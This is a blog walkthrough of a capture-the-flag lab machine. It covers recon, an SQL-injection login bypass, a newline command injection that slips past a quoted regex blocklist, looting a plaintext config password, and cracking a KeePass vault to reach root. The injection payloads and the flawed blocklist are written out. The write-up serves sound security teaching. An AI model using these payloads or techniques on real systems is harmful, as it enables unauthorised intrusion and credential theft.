Silent Monitor

Jun 14, 2026

|

5 min read

| Room ↗

CorpNet’s network operations centre has been “running quietly for years”, green lights, clean audit log, nothing to see. A tip-off says someone on the NOC team has been cutting corners and hiding things in plain sight. The job: get in, move through the system, and find what’s running behind the secret dashboard.

Recon

As always, we start by mapping the attack surface.

nmap: service & version scan
nmap -sV -sC -p- 10.x.x.x -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 23:b0:08:3a:4b:50:8c:a4:6d:b4:9c:df:4e:68:dd:02 (ECDSA)
|_ 256 0e:ca:c0:30:c6:6f:2d:ce:75:4f:2d:e1:35:0f:be:40 (ED25519)
5050/tcp open http Werkzeug httpd 2.0.2 (Python 3.10.12)
|_http-title: CorpNet: Network Operations Centre
|_http-server-header: Werkzeug/2.0.2 Python/3.10.12

Not much: SSH on 22 and a Python/Flask app (Werkzeug dev server) on 5050.

CorpNet Network Operations Centre
The NOC landing page

The root page of the dev server is a single static dashboard, nothing to click, and nothing useful in the source. Time for some content discovery.

Enumeration

gobuster: content discovery
gobuster dir -u http://10.x.x.x:5050/ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt
result (trimmed)
internal (Status: 200) [Size: 8770]

One hit, /internal.

Internal login screen
The /internal login portal

A login form. No cookies to abuse, nothing obvious in the inspector, and a quick search for Werkzeug 2.0.2 CVEs turns up nothing useful. So let’s test the login itself.

SQL injection: auth bypass

First I captured a login request to throw at sqlmap, on the off-chance the form is injectable:

req.txt: captured POST
POST /internal HTTP/1.1
Host: 10.x.x.x:5050
Content-Type: application/x-www-form-urlencoded
username=admin&password=admin
Terminal window
sqlmap -r req.txt --batch

sqlmap came up empty, but while it ran, I tested by hand. A classic auth-bypass payload in the username field does the trick:

Manual SQLi attempt
Testing the login form by hand
auth-bypass payload
username=admin' OR '1'='1'-- -
password=anything

That kicks off a redirect, a good sign we slipped past authentication.

Redirect after bypass
Login bypass triggers a redirect
Following the redirect
Landing past the login
Inside the internal dashboard
We're in, the internal NOC tooling

We’re in. hacker noises.

NOTE

sqlmap whiffing while a hand-typed ' OR '1'='1 works is a good reminder: automated tooling is a convenience, not a substitute for trying the payloads yourself.

Command injection: bypassing the filter

The internal dashboard exposes a host-monitoring tool that looks like it shells out to ping:

Ping tool
The internal ping/monitoring utility

We can put anything in the field, but feeding it whoami just errors, it’s being passed straight to ping, which doesn’t understand a hostname like that:

whoami rejected
Raw whoami isn't a valid ping target

So this is a command-injection candidate. I sent the request to Burp and tried the usual suspects:

injection attempts
127.0.0.1;whoami
127.0.0.1|whoami
127.0.0.1&whoami
127.0.0.1%0awhoami

The first three get blocked, but the newline (%0a) sails through:

Newline injection works
%0a bypasses the filter, output shows www-data

We get execution as www-data. Let’s look around the app directory:

target=127.0.0.1%0als
app.py
netops.db
secret.config
templates

We read app.py:

app.py: the filter
[...]
# vulnerable to newline injection (\n / %0a), fix soon.
PING_BLOCK_RE = re.compile(r"[;|`$&]")
[...]

Yeah no shit sherlock. We know that already.

The blocklist covers ;, |, `, $ and &, but \n separates commands just fine on a Unix shell, and it isn’t in the set. “Fix soon,” not soon enough.

Looting the config → SSH

secret.config is the prize:

secret.config (trimmed)
[database]
path = /opt/netops/netops.db
[app]
host = 0.0.0.0
port = 5050
# service account used by the backup agent
# TODO: migrate to secrets manager before Q2 audit
[backup_agent]
run_as = sysadmin
password = ██████████████████

A plaintext service-account password for sysadmin, with a TODO promising to move it to a secrets manager “before Q2 audit.” We’ll be quicker than the audit. The creds work straight over SSH:

ssh as sysadmin
ssh sysadmin@10.x.x.x
sysadmin@tryhackme-2204:~$ id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)
sysadmin@tryhackme-2204:~$ cat user.txt
THM{██████████████████████████████}

First flag down. Not root yet, though.

Privilege escalation: cracking the KeePass vault

In sysadmin’s home there’s a backups/ directory:

~/backups
README.txt infrastructure.kdbx
README.txt
Backup archive, infrastructure credentials
Periodic exports from the credential store are placed here by the backup agent.
infrastructure.kdbx, KeePass credential database

A KeePass database holding “infrastructure credentials”, yeah ok, thank you I guess. Pull it down to attack it offline:

exfil the vault
scp sysadmin@10.x.x.x:/home/sysadmin/backups/infrastructure.kdbx .

My first instinct was keepass2john + john from the default Kali install, but the format is too new:

keepass2john infrastructure.kdbx > kdbx.hash
! infrastructure.kdbx : File version '40000' is currently not supported!

This is a KeePass v4 (KDBX 4) file using Argon2, which the packaged John doesn’t handle. Per this John issue, the snap build is up to date, so I used that instead:

john (snap): crack the KDBX 4 vault
cp /usr/share/wordlists/rockyou.txt ~/thm/tmp/rockyou.txt
snap run john-the-ripper hash --wordlist=rockyou.txt --format=KeePass
result (trimmed)
Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2])
Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 3 for all loaded hashes
███████ (infrastructure)
1g 0:00:00:00 DONE (2026-06-14 00:27) 5.556g/s 14033p/s

The master password is an easy one, let’s open the vault and read the entries:

Terminal window
keepassxc infrastructure.kdbx
KeePass vault opened
infrastructure.kdbx open in KeePassXC, the root password

The vault hands over the root password. From there it’s a simple su:

su to root
sysadmin@tryhackme-2204:~/backups$ su
Password:
root@tryhackme-2204:/home/sysadmin/backups# cat /root/root.txt
THM{████████████████████████████████}

Box complete. 🚩

Takeaways

  • Automated tools aren’t the last word. sqlmap found nothing where a hand-typed ' OR '1'='1 walked straight in. I might have misconfigured sqlmap, but at least I wasn´t blocked because I didn´t try the manual payloads.
  • Blocklist filters age badly. The regex blocked the common command separators but forgot the newline, a single missing character in [;|`$&] is the whole foothold.
  • Plaintext secrets cascade. Paintext credentials lying around = no.

Kill Chain

Reconnaissance T1595 · T1595.003
nmap, ssh and Flask on 5050
gobuster finds /internal
Initial Access T1190
SQLi auth bypass on /internal
Execution T1059
newline (%0a) past the regex filter
command execution as www-data
Credential Access T1552.001 · T1555.005 · T1110.002
plaintext sysadmin creds in secret.config
crack infrastructure.kdbx with john
Lateral Movement T1078 · T1021.004
SSH in as sysadmin, user flag
Privilege Escalation T1078
su to root with vault password
web sqli command-injection keepass